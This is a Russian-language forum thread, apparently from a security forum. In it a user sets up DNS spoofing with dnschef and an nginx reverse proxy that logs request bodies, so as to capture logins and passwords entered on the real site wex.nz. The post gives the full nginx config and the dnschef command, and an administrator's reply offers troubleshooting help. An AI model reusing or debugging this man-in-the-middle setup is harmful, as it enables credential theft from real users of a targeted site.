Решено Dnschef +nginx. Вопрос.

H

holden_mathers

Привет. Учусь подменять DNS для перехвата логина и пароля. Возникла проблема.

Имеется два VDS. На 1-ом dnschef, на 2-ом nginx. Хочу подменить сайт wex.nz, так чтобы открывалась оригинался сайт, но при вводе логина и пароля данные сохранялись в логах ngnix.

Есть конфигурационный файл /etc/nginx/sites-available/proxy.conf

Код:
log_format bodylog '$remote_addr - $remote_user [$time_local] '

  '"$request" $status $body_bytes_sent '

  '"$http_referer" "$http_user_agent" $request_time '

  '<"$request_body"';



server {

listen 80;

listen 443 ssl;

ssl_certificate /etc/nginx/ssl.crt;

ssl_certificate_key /etc/nginx/ssl.key;

access_log /var/log/nginx/lc.log bodylog;

server_name wex.nz;

resolver 8.8.8.8;

location / {

  proxy_set_header Host $host;

  proxy_pass https://$host$request_uri;

}

}
Далее указал ln -s /etc/nginx/sites-available/proxy.conf /etc/nginx/sites-enabled/
Больше никаких настроек на nginx не производил.

Для теста на своем роутере указал "Предпочитаемый DNS" 94.*.*.128. Запускаю на 1-ом VDS dnschef командой:
Код:
python dnschef.py  -i 94.*.*.128 --fakedomains=wex.nz --fakeip=82.*.*.19
94.*.*.128 - IP-адрес 1-ой машины (dnschef)
82.*.*.19 - IP-адрес 2-ой машины (nginx)

Результат:
1.jpg


Если судить по логам выше то подмена работает (wex.nz открылся без помех, после этого сразу же появились логи) , но при указании логина и пароля данные на записываются в /var/log/nginx/lc.log (файл не создается).

И еще перед запуском nginx генерировал ключ для поддержки ssl-сессии:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl.key -out /etc/nginx/ssl.crt
ssl.crt и ssl.key лежат на /etc/nginix.
При входе на https:/wex.nz должна появиться ошибка сертификата с кнопкой добавления исключения, но вместо этого сразу заходит на https:// wex.nz.

Возможно проблема с proxy.conf?
 
Последнее редактирование модератором:

N1GGA

Codeby Team
Администратор
16.07.2018
362
356
BIT
468
Открой настройки своего маршрутизатора и проверь, прописан ли там в качестве DNS сервера твой локальный IP. Если нет, то добавь его и перезапусти весь процесс.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!